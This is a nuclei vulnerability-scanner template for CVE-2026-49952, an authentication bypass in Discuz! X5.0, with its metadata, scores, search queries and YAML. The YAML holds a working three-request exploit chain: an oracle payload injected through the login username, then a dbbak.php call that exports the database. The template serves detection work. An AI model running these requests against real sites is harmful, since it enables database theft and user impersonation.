CVE-2026-49952: Discuz! X5.0 - Authentication Bypass
- Template: CVE-2026-49952
- Name: Discuz! X5.0 - Authentication Bypass
- Description: Discuz! X5.0 20260320 through 20260501 contains an authentication bypass caused by exploitation of a shared cryptographic key and encryption oracle in dbbak.php and logging_ctl::logging_more(), letting unauthenticated remote attackers access database backup and restore functions, exploit requires crafted payload injection via username parameter.
- Impact: Unauthenticated attackers can bypass authorization to export/import database and impersonate arbitrary users, risking full database compromise.
- Remediation: Update to a version later than 20260501 or latest available version.
- Severity: critical
- Authors: 0x_Akoko
- Tags: cve, cve2026, discuz, auth-bypass, intrusive
- References: https://karmainsecurity.com/KIS-2026-09, https://www.exploit-db.com/exploits/52621, https://nvd.nist.gov/vuln/detail/CVE-2026-49952, https://gitee.com/Discuz/DiscuzX/commit/9962dad52c4c6999dabaf91ecd70377c680ff3c6
- Cves: CVE-2026-49952
- Verified: yes
- Max requests: 3
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-49952.yaml
- Digest: 4a0a00473045022010405ec87b8b7e2f36ce37baaeaf0e84dcb42a66fe5db0d0ee4c011f7b34d46e022100b3e7a2a93b901fc3d59392adc38d6d91d7d1047cc42c420951ba37ae9ac5f86c
- Created at: 2026-07-29T06:59:06Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 118
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-49952.yaml
Classification
- Cwe: CWE-323
- Cvss score: 9.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Epss score: 0.04717
- Epss percentile: 0.92052
- Not known: cpe
Metadata
- Fofa-query: body="Discuz! X5.0"
- Max-request: 3
- Product: discuz_x
- Shodan-query: http.html:"Discuz! X5.0"
- Vendor: discuz
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| discuz:discuz_x | no | — |
Labels
- Name: Discuz! X5.0 - Authentication Bypass
- Impact: Unauthenticated attackers can bypass authorization to export/import database and impersonate arbitrary users, risking full database compromise.
- Remediation: Update to a version later than 20260501 or latest available version.
- Vulnerability type: broken_authentication
- Vulnerability impact: broken_authentication
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-49952
- Not known: requirements
```yaml
id: CVE-2026-49952
info:
name: Discuz! X5.0 - Authentication Bypass
author: 0x_Akoko
severity: critical
description: |
Discuz! X5.0 20260320 through 20260501 contains an authentication bypass caused by exploitation of a shared cryptographic key and encryption oracle in dbbak.php and logging_ctl::logging_more(), letting unauthenticated remote attackers access database backup and restore functions, exploit requires crafted payload injection via username parameter.
impact: |
Unauthenticated attackers can bypass authorization to export/import database and impersonate arbitrary users, risking full database compromise.
remediation: |
Update to a version later than 20260501 or latest available version.
reference:
- https://karmainsecurity.com/KIS-2026-09
- https://www.exploit-db.com/exploits/52621
- https://nvd.nist.gov/vuln/detail/CVE-2026-49952
- https://gitee.com/Discuz/DiscuzX/commit/9962dad52c4c6999dabaf91ecd70377c680ff3c6
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-49952
epss-score: 0.04717
epss-percentile: 0.92052
cwe-id: CWE-323
metadata:
verified: true
max-request: 3
vendor: discuz
product: discuz_x
shodan-query: http.html:"Discuz! X5.0"
fofa-query: body="Discuz! X5.0"
tags: cve,cve2026,discuz,auth-bypass,intrusive
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Discuz! X5")'
condition: and
internal: true
- raw:
- |
POST /member.php?mod=logging&action=login&loginsubmit=yes HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=method%3Dexport%26time%3D9999999999%26&password=1&lssubmit=1
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'contains(body, "auth=")'
internal: true
extractors:
- type: regex
name: authcode
group: 1
internal: true
regex:
- 'auth=([^&"''<>\s]+)'
- raw:
- |
GET /api/db/dbbak.php?apptype=discuzx&code={{authcode}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "errorCode=\"0\"") || contains(body, "data/backup_") || contains_any(body, "CREATE TABLE", "INSERT INTO")'
condition: and
digest: 4a0a00473045022010405ec87b8b7e2f36ce37baaeaf0e84dcb42a66fe5db0d0ee4c011f7b34d46e022100b3e7a2a93b901fc3d59392adc38d6d91d7d1047cc42c420951ba37ae9ac5f86c:922c64590222798bb761d5b6d8e72950
```